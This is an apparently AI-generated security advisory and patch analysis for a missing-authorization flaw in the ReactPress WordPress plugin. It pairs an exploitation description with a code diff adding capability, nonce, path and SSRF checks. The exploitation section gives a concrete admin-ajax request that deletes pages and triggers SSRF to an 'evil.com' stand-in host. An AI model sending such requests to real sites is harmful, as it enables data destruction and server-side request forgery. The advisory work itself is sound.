Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66455: ReactPress – Create React App for WordPress <= 3.4.0 Missing Authorization PoC, Patch Analysis & Rule

Plugin reactpress
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.4.0
Patched Version 3.4.1
Disclosed August 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66455:

CVE-2026-66455 is a missing authorization vulnerability in the ReactPress WordPress plugin (versions <= 3.4.0). The flaw resides in the admin AJAX handler repr_handle_admin_ajax_request within reactpress/admin/Admin.php. Authenticated users with subscriber-level access can invoke this handler to perform privileged operations such as deleting pages, modifying app configurations, and triggering server-side requests. The CVSS score is 4.3 (Medium) and the CWE is 862 (Missing Authorization).

Root Cause: The repr_handle_admin_ajax_request function (lines 212-282 in the patched diff) lacked any capability check or nonce verification. It directly processed POST parameters including appname, pageId, page_title, permalink, and param without validating that the caller possessed the manage_options capability or that the request originated from a legitimate admin session. The function was registered as a wp_ajax_ action, making it accessible to any authenticated user. Additionally, helper functions like delete_page in Controller.php (line 80) and set_public_url_for_dev_server in Utils.php (line 114) performed file operations and URL processing based solely on user-supplied input, with no authorization enforcement at the entry point.

Exploitation: An attacker with a subscriber account can send a POST request to /wp-admin/admin-ajax.php with the action parameter set to repr_admin_ajax_request. By supplying a valid appname (obtained from the public reactPress configuration or enumerated) and a param value like 'delete', the attacker triggers privileged actions. For example, a request with appname=myapp&param=delete&pageId=123&permalink=http://evil.com can delete pages and perform SSRF via the permalink parameter, which is passed to wp_remote_get in get_index_html_content (line 198). The lack of nonce checks means the attacker does not need to obtain a token, and the missing capability check allows subscriber-level users to execute admin-only operations.

Patch Analysis: The patch addresses the vulnerability by adding two critical checks at the start of repr_handle_admin_ajax_request: a current_user_can('manage_options') capability check and a check_ajax_referer('repr_admin_ajax_request', '_ajax_nonce', false) nonce verification. It also introduces strict input sanitization with is_string and is_scalar checks, and validates appname against a safe pattern. The patch further hardens related functions by adding path traversal protection in resolve_app_directory and confined_app_path, replacing direct file operations with WordPress APIs (wp_delete_file), and sanitizing the permalink in delete_page to use the stored page URL rather than user input. Additionally, the patch adds nonce generation and localization to the admin scripts, and improves HTML sanitization to prevent SSRF and XSS in get_index_html_content.

Impact: Successful exploitation allows a subscriber-level user to perform unauthorized actions such as deleting pages, altering app configurations, and triggering server-side requests that could lead to SSRF attacks against internal services. The vulnerability can also lead to information disclosure through error messages and potential privilege escalation if combined with other flaws. The patch's security fixes confirm that the missing authorization check was the primary issue.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/reactpress/admin/Admin.php
+++ b/reactpress/admin/Admin.php
@@ -1,6 +1,5 @@
 <?php

-
 /**
  * The admin-specific functionality of the plugin.
  *
@@ -24,6 +23,10 @@

 namespace ReactPressAdmin;

+if (!defined('ABSPATH')) {
+	exit;
+}
+
 use ReactPressAdminController;
 use ReactPressIncludesActivator;

@@ -68,9 +71,10 @@
 	public function enqueue_styles() {

 		$valid_pages = ['reactpress'];
-		$page = sanitize_title($_REQUEST['page'] ?? "");
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Only compares the admin page slug, no data is processed.
+		$page = isset($_REQUEST['page']) ? sanitize_title(wp_unslash($_REQUEST['page'])) : '';

-		if (in_array($page, $valid_pages)) {
+		if (in_array($page, $valid_pages, true) && current_user_can('manage_options')) {
 			wp_enqueue_style($this->plugin_name, plugin_dir_url(__FILE__) . 'css/reactpress-admin.css', array(), $this->version, 'all');
 		}
 	}
@@ -83,9 +87,10 @@
 	public function enqueue_scripts() {

 		$valid_pages = ['reactpress'];
-		$page = sanitize_title($_REQUEST['page'] ?? "");
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Only compares the admin page slug, no data is processed.
+		$page = isset($_REQUEST['page']) ? sanitize_title(wp_unslash($_REQUEST['page'])) : '';

-		if (in_array($page, $valid_pages)) {
+		if (in_array($page, $valid_pages, true) && current_user_can('manage_options')) {

 			// We need to load jquery and enable wp_localize_script.
 			// Please don't ask me why!
@@ -93,6 +98,7 @@

 			wp_localize_script($this->plugin_name, "rp", array(
 				'ajaxurl' => admin_url('admin-ajax.php'),
+				'ajaxNonce' => wp_create_nonce('repr_admin_ajax_request'),
 				'adminurl' => admin_url(),
 				'api' => [
 					'nonce' => wp_create_nonce('wp_rest'),
@@ -136,7 +142,7 @@

 			// Load css files.
 			foreach ($css_files as $index => $css_file) {
-				wp_enqueue_style('react-plugin-' . $index, $react_app_build . $css_file);
+				wp_enqueue_style('react-plugin-' . $index, $react_app_build . $css_file, array(), $this->version);
 			}

 			// Load js files.
@@ -176,7 +182,7 @@
 			$pageIds = array_map(fn ($el) => $el['pageIds'], $repr_apps);
 			$valid_pages = array_merge(...$pageIds);
 			if (in_array($post->ID, $valid_pages)) {
-				$states['reactpress'] = __('ReactPress', 'text-domain');
+				$states['reactpress'] = __('ReactPress', 'reactpress');
 			}
 		}
 		return $states;
@@ -191,8 +197,8 @@
 	 */
 	public function repr_add_page_template($templates) {
 		// Use relative paths for the templates and then resolve them at runtime.
-		$templates['templates/empty-react-page-template.php'] = __('ReactPress Canvas', 'text-domain');
-		$templates['templates/react-page-template.php'] = __('ReactPress Full Width', 'text-domain');
+		$templates['templates/empty-react-page-template.php'] = __('ReactPress Canvas', 'reactpress');
+		$templates['templates/react-page-template.php'] = __('ReactPress Full Width', 'reactpress');

 		return $templates;
 	}
@@ -206,19 +212,40 @@
 		}
 	}

+	/**
+	 * Handles all request from the admin frontend.
+	 * All request must be of type POST, because the WordPress action
+	 * 'wp_ajax_repr_admin_ajax_request' requires it.
+	 *
+	 * @since 1.0.0
+	 */
 	public function repr_handle_admin_ajax_request() {
-		/**
-		 * Handles all request from the admin frontend.
-		 * All request must be of type POST, because the WordPress action
-		 * 'wp_ajax_repr_admin_ajax_request' requires it.
-		 *
-		 * @since 1.0.0
-		 */
-		$appname = strtolower(sanitize_file_name($_POST['appname'] ?? ''));
-		$pageId = intval(sanitize_key($_POST['pageId'] ?? ''));
-		$page_title = sanitize_title($_POST['page_title'] ?? '');
-		$permalink = sanitize_url($_POST['permalink'] ?? '');
-		$param = sanitize_file_name($_REQUEST['param'] ?? "");
+		if (!current_user_can('manage_options')) {
+			wp_send_json([
+				'status' => 0,
+				'message' => __('Sorry, you are not allowed to do that.', 'reactpress'),
+			], 403);
+		}
+
+		if (!check_ajax_referer('repr_admin_ajax_request', '_ajax_nonce', false)) {
+			wp_send_json([
+				'status' => 0,
+				'message' => __('Invalid security token.', 'reactpress'),
+			], 403);
+		}
+
+		$appname = isset($_POST['appname']) && is_string($_POST['appname']) ? strtolower(sanitize_file_name(wp_unslash($_POST['appname']))) : '';
+		$pageId = isset($_POST['pageId']) && is_scalar($_POST['pageId']) ? absint(wp_unslash($_POST['pageId'])) : 0;
+		$page_title = isset($_POST['page_title']) && is_string($_POST['page_title']) ? sanitize_title(wp_unslash($_POST['page_title'])) : '';
+		$permalink = isset($_POST['permalink']) && is_string($_POST['permalink']) ? esc_url_raw(wp_unslash($_POST['permalink'])) : '';
+		$param = isset($_POST['param']) && is_string($_POST['param']) ? sanitize_key(wp_unslash($_POST['param'])) : '';
+
+		if ($appname !== '' && (!preg_match('/^[a-z0-9][a-z0-9._-]{0,100}$/', $appname) || str_contains($appname, '..'))) {
+			wp_send_json([
+				'status' => 0,
+				'message' => __('Invalid app name.', 'reactpress'),
+			]);
+		}

 		try {
 			if (!empty($param)) {
@@ -242,14 +269,11 @@
 				}
 			}
 		} catch (Exception $e) {
-			echo (wp_json_encode([
+			repr_log($e);
+			echo wp_json_encode([
 				'status' => 0,
-				'message' => $e->getMessage(),
-				'code' => $e->getCode(), // User-defined Exception code
-				'filename' => $e->getFile(), // Source filename
-				'line' => $e->getLine(), // Source line
-				'trace' => $e->getTraceAsString(), // Formated string of trace
-			]));
+				'message' => __('Something went wrong.', 'reactpress'),
+			]);
 		} finally {
 			wp_die();
 		}
@@ -266,6 +290,7 @@
 	 */
 	public function does_pageslug_exist(string $pageslug) {
 		global $wpdb;
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery -- Prepared slug lookup, result must not be cached.
 		return !empty($wpdb->get_row(
 			$wpdb->prepare("SELECT * FROM " . $wpdb->prefix . "posts WHERE post_name = %s", $pageslug)
 		));
@@ -281,6 +306,7 @@
 	public function update_react_page_slug(string $oldSlug, string $newSlug) {
 		global $wpdb;
 		// check if post_name (which is the slug and should be unique) exist
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery -- Prepared slug lookup, result must not be cached.
 		$get_data = $wpdb->get_row(
 			$wpdb->prepare(
 				"SELECT `ID`, `post_content` FROM " . $wpdb->prefix . "posts WHERE post_name = %s",
@@ -324,12 +350,13 @@
 	while ($file = readdir($dir_handle)) {
 		if ($file != "." && $file != "..") {
 			if (!is_dir($dirname . "/" . $file))
-				unlink($dirname . "/" . $file);
+				wp_delete_file($dirname . "/" . $file);
 			else
 				repr_delete_directory($dirname . '/' . $file);
 		}
 	}
 	closedir($dir_handle);
+	// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_rmdir -- Removing an emptied app directory inside wp-content/reactpress.
 	return rmdir($dirname);
 }

--- a/reactpress/admin/Controller.php
+++ b/reactpress/admin/Controller.php
@@ -13,6 +13,10 @@

 namespace ReactPressAdmin;

+if (!defined('ABSPATH')) {
+  exit;
+}
+
 use LengthException;
 use ReactPressAdminUtils;

@@ -76,6 +80,10 @@

   public static function delete_page(string $appname, int $pageId, string $permalink) {
     try {
+      // Ignore the request permalink and use the page's own URL. The posted
+      // value is written into package.json and must not be attacker-controlled.
+      $stored_permalink = get_permalink($pageId);
+      $permalink = is_string($stored_permalink) ? $stored_permalink : '';
       $app_options_list = Utils::get_apps();
       Utils::delete_page($app_options_list, $appname, $pageId);
       Utils::unset_public_url_for_dev_server($appname, $permalink);
@@ -92,7 +100,8 @@
       $options,
       fn ($el) => $el['appname'] !== $appname
     ));
-    $is_appdir_removed = repr_delete_directory(Utils::app_path($appname));
+    $app_directory = self::resolve_app_directory($appname);
+    $is_appdir_removed = $app_directory !== '' && repr_delete_directory($app_directory);
     if ($is_appdir_removed) {
       echo wp_json_encode([
         'status' => 1,
@@ -142,7 +151,10 @@
    * @since 1.2.0
    */
   public static function add_build_path(string $appname, string $apptype = 'development_cra'): int {
-    $apppath = Utils::app_path($appname);
+    $apppath = self::resolve_app_directory($appname);
+    if ($apppath === '') {
+      return 0;
+    }
     // We need the relative path, that we can deploy our
     // built app to another server later.
     $relative_apppath = Utils::app_path($appname, true);
@@ -198,35 +210,56 @@
    * @since 1.0.0
    */
   public static function get_index_html_content(string $permalink, string $apptype = 'development_cra', string $appname = ''): string {
-    $resp = wp_remote_get($permalink, ['timeout' => 1000, 'cookies' => $_COOKIE]);
-    $respCode = wp_remote_retrieve_response_code($resp);
+    // Never request the raw permalink. Only the canonical URL of a page
+    // already assigned to this app, on this site, may be downloaded.
+    $permalink = self::canonical_app_permalink($appname, $permalink);
+    if ($permalink === '') {
+      return '';
+    }

-    if (200 == $respCode) {
+    $response = self::fetch_local_permalink($permalink);
+    if (is_wp_error($response)) {
+      return '';
+    }
+    if ((int) wp_remote_retrieve_response_code($response) !== 200) {
+      return '';
+    }

-      $dom = new DOMDocument();
-	    libxml_use_internal_errors(true);
-	    $dom->loadHTML(wp_remote_retrieve_body($resp));
-	    $selector = new DOMXPath($dom);
-	    foreach ($selector->query('//*[starts-with(@id, "rp-react-app-asset-")]') as $node) {
-		    $node->parentNode->removeChild($node);
-	    }
-	    $filtered_contents = $dom->saveHTML();
-
-      // re-add script tag for global reactPress variable
-      $readded_contents = str_replace('var reactPress', "<script>nvar reactPress", $filtered_contents);
-
-      if ($apptype === 'development_vite') {
-        $apppath = Utils::app_path($appname);
-        $file_ending = is_file("{$apppath}/src/main.jsx") ? 'jsx' : 'tsx';
-        // add script tag after root div that link to src/main.tsx
-        $readded_contents = str_replace(
-          '<div id="root"></div>',
-          "<div id="root"></div><script type="module" src="/src/main.{$file_ending}"></script>",
-          $filtered_contents
-        );
+    $content_type = self::header_value(wp_remote_retrieve_header($response, 'content-type'));
+    if (
+      $content_type !== ''
+      && stripos($content_type, 'text/html') === false
+      && stripos($content_type, 'application/xhtml+xml') === false
+    ) {
+      return '';
+    }
+
+    $body = wp_remote_retrieve_body($response);
+    if ($body === '' || strlen($body) > 2 * 1024 * 1024) {
+      return '';
+    }
+
+    $filtered_contents = self::sanitize_index_html($body);
+    if ($filtered_contents === '') {
+      return '';
+    }
+
+    // re-add script tag for global reactPress variable
+    $readded_contents = str_replace('var reactPress', "<script>nvar reactPress", $filtered_contents);
+
+    if ($apptype === 'development_vite') {
+      $apppath = self::resolve_app_directory($appname);
+      if ($apppath === '') {
+        return '';
       }
-    } else {
-      $readded_contents = '';
+      $file_ending = is_file("{$apppath}/src/main.jsx") ? 'jsx' : 'tsx';
+      // add script tag after root div that link to src/main.tsx
+      $readded_contents = str_replace(
+        '<div id="root"></div>',
+        // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript -- Written into the Vite dev index.html file, not output to WordPress.
+        "<div id="root"></div><script type="module" src="/src/main.{$file_ending}"></script>",
+        $filtered_contents
+      );
     }

     return $readded_contents;
@@ -334,13 +367,387 @@
    * @since 1.0.0
    */
   public static function write_index_html(string $appname, string $content, string $apptype = 'development_cra') {
+    if ($content === '') {
+      return false;
+    }
+    $dir = self::resolve_app_directory($appname);
+    if ($dir === '') {
+      return false;
+    }
     if ($apptype === 'development_vite') {
-      $index_html_path = sprintf("%s/%s/index.html", REPR_APPS_PATH, $appname);
-      return file_put_contents($index_html_path, $content);
+      return file_put_contents($dir . '/index.html', $content, LOCK_EX);
     } elseif ($apptype === 'development_cra') {
-      $index_html_path = sprintf("%s/%s/public/index.html", REPR_APPS_PATH, $appname);
-      return file_put_contents($index_html_path, $content);
+      $public_dir = realpath($dir . '/public');
+      $dir_prefix = rtrim(str_replace('\', '/', $dir), '/') . '/';
+      if ($public_dir === false || !is_dir($public_dir)) {
+        return false;
+      }
+      $public_prefix = rtrim(str_replace('\', '/', $public_dir), '/') . '/';
+      if (!str_starts_with($public_prefix, $dir_prefix)) {
+        return false;
+      }
+      return file_put_contents($public_dir . '/index.html', $content, LOCK_EX);
     }
     return true;
   }
+
+  /**
+   * Canonical permalink of a page assigned to $appname, when $url points at
+   * that page. Remote hosts and other local URLs return an empty string.
+   */
+  private static function canonical_app_permalink(string $appname, string $url): string {
+    $url = esc_url_raw($url);
+    if ($url === '' || !self::is_same_site_url($url)) {
+      return '';
+    }
+    $wanted = self::normalized_url($url);
+    if ($wanted === '') {
+      return '';
+    }
+
+    $options = Utils::get_app_options($appname);
+    $page_ids = (is_array($options) && isset($options['pageIds']) && is_array($options['pageIds']))
+      ? $options['pageIds']
+      : [];
+
+    foreach ($page_ids as $page_id) {
+      if (!is_numeric($page_id)) {
+        continue;
+      }
+      $permalink = get_permalink((int) $page_id);
+      if (!is_string($permalink) || $permalink === '' || !self::is_same_site_url($permalink)) {
+        continue;
+      }
+      if (self::normalized_url($permalink) === $wanted) {
+        return $permalink;
+      }
+    }
+
+    return '';
+  }
+
+  /**
+   * Download a same-site permalink. Redirects that leave the site are refused,
+   * and authentication cookies are never sent to another host.
+   *
+   * @return array<string, mixed>|WP_Error
+   */
+  private static function fetch_local_permalink(string $url) {
+    $current = $url;
+    for ($hop = 0; $hop < 3; $hop++) {
+      if (!self::is_same_site_url($current)) {
+        return new WP_Error('repr_offsite_url', 'Refusing to request a URL outside this site.');
+      }
+
+      $response = wp_safe_remote_get($current, [
+        'timeout' => 20,
+        'redirection' => 0,
+        'limit_response_size' => 2 * 1024 * 1024,
+        'cookies' => self::local_auth_cookies(),
+      ]);
+      if (is_wp_error($response)) {
+        return $response;
+      }
+
+      $code = (int) wp_remote_retrieve_response_code($response);
+      if ($code < 300 || $code >= 400) {
+        return $response;
+      }
+
+      $location = self::header_value(wp_remote_retrieve_header($response, 'location'));
+      if ($location === '') {
+        return $response;
+      }
+      $next = self::absolute_redirect_url($current, $location);
+      if ($next === '' || !self::is_same_site_url($next)) {
+        return new WP_Error('repr_offsite_redirect', 'Refusing to follow a redirect off this site.');
+      }
+      $current = $next;
+    }
+
+    return new WP_Error('repr_too_many_redirects', 'Too many redirects.');
+  }
+
+  /**
+   * @return array<string, string>
+   */
+  private static function local_auth_cookies(): array {
+    $cookies = [];
+    foreach ($_COOKIE as $name => $value) {
+      if (!is_string($name) || !is_string($value)) {
+        continue;
+      }
+      if (!str_starts_with($name, 'wordpress_') && !str_starts_with($name, 'wp-')) {
+        continue;
+      }
+      $cookies[$name] = wp_unslash($value);
+    }
+    return $cookies;
+  }
+
+  /**
+   * True when $url uses http(s) and its host, port, and scheme match this site.
+   */
+  private static function is_same_site_url(string $url): bool {
+    $url = esc_url_raw($url);
+    if ($url === '') {
+      return false;
+    }
+    $parts = wp_parse_url($url);
+    if (!is_array($parts) || empty($parts['host']) || empty($parts['scheme'])) {
+      return false;
+    }
+    if (isset($parts['user']) || isset($parts['pass'])) {
+      return false;
+    }
+
+    $scheme = strtolower((string) $parts['scheme']);
+    if ($scheme !== 'http' && $scheme !== 'https') {
+      return false;
+    }
+    $host = rtrim(strtolower((string) $parts['host']), '.');
+    $port = isset($parts['port']) ? (int) $parts['port'] : ($scheme === 'https' ? 443 : 80);
+
+    foreach ([home_url(), site_url()] as $base) {
+      $base_parts = wp_parse_url((string) $base);
+      if (!is_array($base_parts) || empty($base_parts['host'])) {
+        continue;
+      }
+      $base_scheme = strtolower((string) ($base_parts['scheme'] ?? 'http'));
+      if ($base_scheme !== 'http' && $base_scheme !== 'https') {
+        continue;
+      }
+      $base_host = rtrim(strtolower((string) $base_parts['host']), '.');
+      $base_port = isset($base_parts['port']) ? (int) $base_parts['port'] : ($base_scheme === 'https' ? 443 : 80);
+      if ($scheme === $base_scheme && $host === $base_host && $port === $base_port) {
+        return true;
+      }
+    }
+
+    return false;
+  }
+
+  private static function normalized_url(string $url): string {
+    $parts = wp_parse_url($url);
+    if (!is_array($parts) || empty($parts['host']) || empty($parts['scheme'])) {
+      return '';
+    }
+    $scheme = strtolower((string) $parts['scheme']);
+    $host = rtrim(strtolower((string) $parts['host']), '.');
+    $port = '';
+    if (isset($parts['port'])) {
+      $port_number = (int) $parts['port'];
+      $is_default = ($scheme === 'https' && $port_number === 443) || ($scheme === 'http' && $port_number === 80);
+      if (!$is_default) {
+        $port = ':' . $port_number;
+      }
+    }
+    $path = isset($parts['path']) ? untrailingslashit((string) $parts['path']) : '';
+    $query = isset($parts['query']) && $parts['query'] !== '' ? '?' . $parts['query'] : '';
+    return $scheme . '://' . $host . $port . $path . $query;
+  }
+
+  private static function absolute_redirect_url(string $current, string $location): string {
+    $location = trim($location);
+    if ($location === '' || str_contains($location, "n") || str_contains($location, "r")) {
+      return '';
+    }
+    if (str_starts_with($location, '//')) {
+      $scheme = wp_parse_url($current, PHP_URL_SCHEME);
+      return is_string($scheme) ? $scheme . ':' . $location : '';
+    }
+    $parts = wp_parse_url($location);
+    if (is_array($parts) && !empty($parts['host'])) {
+      return esc_url_raw($location);
+    }
+    $absolute = WP_Http::make_absolute_url($location, $current);
+    return esc_url_raw($absolute);
+  }
+
+  /**
+   * @param mixed $header
+   */
+  private static function header_value($header): string {
+    if (is_array($header)) {
+      $first = reset($header);
+      return is_string($first) ? $first : '';
+    }
+    return is_string($header) ? $header : '';
+  }
+
+  /**
+   * App directory inside REPR_APPS_PATH, or '' when $appname escapes that directory.
+   */
+  private static function resolve_app_directory(string $appname): string {
+    $appname = strtolower(sanitize_file_name($appname));
+    if ($appname === '' || !preg_match('/^[a-z0-9][a-z0-9._-]{0,100}$/', $appname)) {
+      return '';
+    }
+    $base = realpath(REPR_APPS_PATH);
+    if ($base === false) {
+      return '';
+    }
+    $dir = realpath($base . DIRECTORY_SEPARATOR . $appname);
+    if ($dir === false || !is_dir($dir)) {
+      return '';
+    }
+    $base_prefix = rtrim(str_replace('\', '/', $base), '/') . '/';
+    $dir_prefix = rtrim(str_replace('\', '/', $dir), '/') . '/';
+    if (!str_starts_with($dir_prefix, $base_prefix)) {
+      return '';
+    }
+    return $dir;
+  }
+
+  /**
+   * Drop active content that must not be stored in a public index.html.
+   * Theme stylesheets and same-site script files are kept so the dev server
+   * can still mirror the WordPress page. wp_kses() is not used: it would
+   * strip the stylesheet and script markup this file exists to preserve.
+   * Inline event handlers, javascript: URLs, off-site script sources, and inline
+   * scripts (other than the reactPress bootstrap) are removed.
+   */
+  private static function sanitize_index_html(string $html): string {
+    $dom = new DOMDocument();
+    $previous = libxml_use_internal_errors(true);
+    $loaded = $dom->loadHTML($html, LIBXML_NONET | LIBXML_NOERROR | LIBXML_NOWARNING);
+    libxml_clear_errors();
+    libxml_use_internal_errors($previous);
+    if (!$loaded) {
+      return '';
+    }
+
+    foreach (['iframe', 'object', 'embed', 'base', 'form'] as $tag) {
+      self::remove_elements_by_tag($dom, $tag);
+    }
+
+    $refresh_metas = [];
+    foreach ($dom->getElementsByTagName('meta') as $meta) {
+      if (strtolower($meta->getAttribute('http-equiv')) === 'refresh') {
+        $refresh_metas[] = $meta;
+      }
+    }
+    foreach ($refresh_metas as $meta) {
+      if ($meta->parentNode instanceof DOMNode) {
+        $meta->parentNode->removeChild($meta);
+      }
+    }
+
+    $xpath = new DOMXPath($dom);
+    $asset_nodes = $xpath->query('//*[starts-with(@id, "rp-react-app-asset-")]');
+    if ($asset_nodes instanceof DOMNodeList) {
+      $assets = [];
+      foreach ($asset_nodes as $node) {
+        $assets[] = $node;
+      }
+      foreach ($assets as $node) {
+        if ($node->parentNode instanceof DOMNode) {
+          $node->parentNode->removeChild($node);
+        }
+      }
+    }
+
+    $elements = [];
+    foreach ($dom->getElementsByTagName('*') as $element) {
+      $elements[] = $element;
+    }
+    foreach ($elements as $element) {
+      self::sanitize_element_attributes($element);
+    }
+
+    $scripts = [];
+    foreach ($dom->getElementsByTagName('script') as $script) {
+      $scripts[] = $script;
+    }
+    foreach ($scripts as $script) {
+      $src = trim($script->getAttribute('src'));
+      $type = strtolower($script->getAttribute('type'));
+      $keep = in_array($type, ['application/json', 'application/ld+json'], true);
+      if (!$keep && $src !== '') {
+        $keep = self::is_allowed_resource_url($src, true);
+      } elseif (!$keep) {
+        $keep = str_contains((string) $script->textContent, 'reactPress');
+      }
+      if (!$keep && $script->parentNode instanceof DOMNode) {
+        $script->parentNode->removeChild($script);
+      }
+    }
+
+    $saved = $dom->saveHTML();
+    return is_string($saved) ? $saved : '';
+  }
+
+  private static function remove_elements_by_tag(DOMDocument $dom, string $tag): void {
+    $nodes = [];
+    foreach ($dom->getElementsByTagName($tag) as $node) {
+      $nodes[] = $node;
+    }
+    foreach ($nodes as $node) {
+      if ($node->parentNode instanceof DOMNode) {
+        $node->parentNode->removeChild($node);
+      }
+    }
+  }
+
+  private static function sanitize_element_attributes(DOMElement $element): void {
+    $remove = [];
+    foreach ($element->attributes as $attr) {
+      $name = strtolower($attr->nodeName);
+      $value = (string) $attr->nodeValue;
+      if (str_starts_with($name, 'on')) {
+        $remove[] = $attr->nodeName;
+        continue;
+      }
+      if (in_array($name, ['href', 'src', 'action', 'formaction', 'poster', 'xlink:href'], true)) {
+        // Script sources are removed with the element below. Stripping only the
+        // attribute would turn <script src="evil">code</script> into an inline script.
+        if ($name === 'src' && strtolower($element->tagName) === 'script') {
+          continue;
+        }
+        if ($value !== '' && !self::is_allowed_resource_url($value, false)) {
+          $remove[] = $attr->nodeName;
+        }
+        continue;
+      }
+      if ($name === 'srcset' && preg_match('/javascript:|data:/i', $value)) {
+        $remove[] = $attr->nodeName;
+        continue;
+      }
+      if ($name === 'style' && preg_match('/expressions*(|javascript:/i', $value)) {
+        $remove[] = $attr->nodeName;
+      }
+    }
+    foreach ($remove as $attr_name) {
+      $element->removeAttribute($attr_name);
+    }
+  }
+
+  private static function is_allowed_resource_url(string $url, bool $same_site_only): bool {
+    $url = trim($url);
+    if ($url === '' || preg_match('/[x00-x20]/', $url)) {
+      return false;
+    }
+    $lower = strtolower($url);
+    if (str_starts_with($lower, 'data:')) {
+      return !$same_site_only && str_starts_with($lower, 'data:image/');
+    }
+    foreach (['javascript:', 'vbscript:', 'file:'] as $scheme) {
+      if (str_starts_with($lower, $scheme)) {
+        return false;
+      }
+    }
+    if (!$same_site_only && preg_match('#^(mailto|tel):#i', $url)) {
+      return true;
+    }
+    if (str_starts_with($url, '//') || str_contains($url, '..')) {
+      return false;
+    }
+    if (str_starts_with($url, '#') || str_starts_with($url, '?') || str_starts_with($url, '/')) {
+      return true;
+    }
+    if (preg_match('#^https?://#i', $url)) {
+      return $same_site_only ? self::is_same_site_url($url) : true;
+    }
+    return !preg_match('#^[a-z][a-z0-9+.-]*:#i', $url);
+  }
 }
--- a/reactpress/admin/Utils.php
+++ b/reactpress/admin/Utils.php
@@ -10,6 +10,9 @@

 namespace ReactPressAdmin;

+if (!defined('ABSPATH')) {
+  exit;
+}

 class Utils {

@@ -49,7 +52,7 @@
    */
   public static function app_path(string $appname, $relative_to_home_path = false): string {
     $apppath = escapeshellcmd(REPR_APPS_PATH . "/{$appname}");
-    $document_root = $_SERVER['DOCUMENT_ROOT'] ?? rtrim(ABSPATH,  '/');
+    $document_root = isset($_SERVER['DOCUMENT_ROOT']) ? sanitize_text_field(wp_unslash($_SERVER['DOCUMENT_ROOT'])) : rtrim(ABSPATH,  '/');

     if ($relative_to_home_path) {
       return explode($document_root, $apppath)[1];
@@ -111,12 +114,18 @@
    * @param string $permalink
    */
   public static function set_public_url_for_dev_server(string $appname, string $permalink) {
-    $apppath = Utils::app_path($appname);
     // We need the relative path, that we can deploy our
     // build app to another server later.
     $relative_apppath = Utils::app_path($appname, true);
     $relative_apppath = $relative_apppath ? $relative_apppath : "/wp-content/reactpress/apps/{$appname}/";
     $relative_link = wp_make_link_relative($permalink);
+    if (preg_match("/["'\\rn]/", $relative_link)) {
+      return 0;
+    }
+    $apppath = self::confined_app_path($appname);
+    if ($apppath === '') {
+      return 0;
+    }
     $path_package_json = "{$apppath}/package.json";
     $package_json_contents = file_get_contents($path_package_json);
     $search = ""react-scripts start"";
@@ -144,12 +153,18 @@
    * @param string $permalink
    */
   public static function unset_public_url_for_dev_server(string $appname, string $permalink) {
-    $apppath = Utils::app_path($appname);
     // We need the relative path, that we can deploy our
     // build app to another server later.
     $relative_apppath = Utils::app_path($appname, true);
     $relative_apppath = $relative_apppath ? $relative_apppath : "/wp-content/reactpress/apps/{$appname}/";
     $relative_link = wp_make_link_relative($permalink);
+    if (preg_match("/["'\\rn]/", $relative_link)) {
+      return 0;
+    }
+    $apppath = self::confined_app_path($appname);
+    if ($apppath === '') {
+      return 0;
+    }
     $path_package_json = "{$apppath}/package.json";
     $package_json_contents = file_get_contents($path_package_json);
     $replace = ""react-scripts start"";
@@ -337,4 +352,28 @@
     ], $app_list);
     update_option('repr_apps', $app_list_option);
   }
+
+  /**
+   * Absolute app directory inside REPR_APPS_PATH, or '' if $appname escapes it.
+   */
+  private static function confined_app_path(string $appname): string {
+    $appname = strtolower(sanitize_file_name($appname));
+    if ($appname === '' || !preg_match('/^[a-z0-9][a-z0-9._-]{0,100}$/', $appname)) {
+      return '';
+    }
+    $base = realpath(REPR_APPS_PATH);
+    if ($base === false) {
+      return '';
+    }
+    $dir = realpath($base . DIRECTORY_SEPARATOR . $appname);
+    if ($dir === false || !is_dir($dir)) {
+      return '';
+    }
+    $base_prefix = rtrim(str_replace('\', '/', $base), '/') . '/';
+    $dir_prefix = rtrim(str_replace('\', '/', $dir), '/') . '/';
+    if (!str_starts_with($dir_prefix, $base_prefix)) {
+      return '';
+    }
+    return $dir;
+  }
 }
--- a/reactpress/admin/index.php
+++ b/reactpress/admin/index.php
@@ -1 +1,5 @@
-<?php // Silence is golden
 No newline at end of file
+<?php
+if (!defined('ABSPATH')) {
+	exit;
+}
+// Silence is golden.
 No newline at end of file
--- a/reactpress/admin/js/reactpress-admin/build/asset-manifest.php
+++ b/reactpress/admin/js/reactpress-admin/build/asset-manifest.php
@@ -4,16 +4,16 @@
 {
   "files": {
     "main.css": "/wp-content/plugins/reactpress/admin/js/reactpress-admin/build/static/css/main.292c6925.css",
-    "main.js": "/wp-content/plugins/reactpress/admin/js/reactpress-admin/build/static/js/main.1f17052e.js",
+    "main.js": "/wp-content/plugins/reactpress/admin/js/reactpress-admin/build/static/js/main.314e9324.js",
     "static/js/787.a23c4d97.chunk.js": "/wp-content/plugins/reactpress/admin/js/reactpress-admin/build/static/js/787.a23c4d97.chunk.js",
     "index.html": "/wp-content/plugins/reactpress/admin/js/reactpress-admin/build/index.html",
     "main.292c6925.css.map": "/wp-content/plugins/reactpress/admin/js/reactpress-admin/build/static/css/main.292c6925.css.map",
-    "main.1f17052e.js.map": "/wp-content/plugins/reactpress/admin/js/reactpress-admin/build/static/js/main.1f17052e.js.map",
+    "main.314e9324.js.map": "/wp-content/plugins/reactpress/admin/js/reactpress-admin/build/static/js/main.314e9324.js.map",
     "787.a23c4d97.chunk.js.map": "/wp-content/plugins/reactpress/admin/js/reactpress-admin/build/static/js/787.a23c4d97.chunk.js.map"
   },
   "entrypoints": [
     "static/css/main.292c6925.css",
-    "static/js/main.1f17052e.js"
+    "static/js/main.314e9324.js"
   ]
 }
 HEREA;
--- a/reactpress/admin/partials/reactpress-admin-display.php
+++ b/reactpress/admin/partials/reactpress-admin-display.php
@@ -1,5 +1,9 @@
 <?php

+if (!defined('ABSPATH')) {
+	exit;
+}
+
 /**
  * Provide a admin area view for the plugin
  *
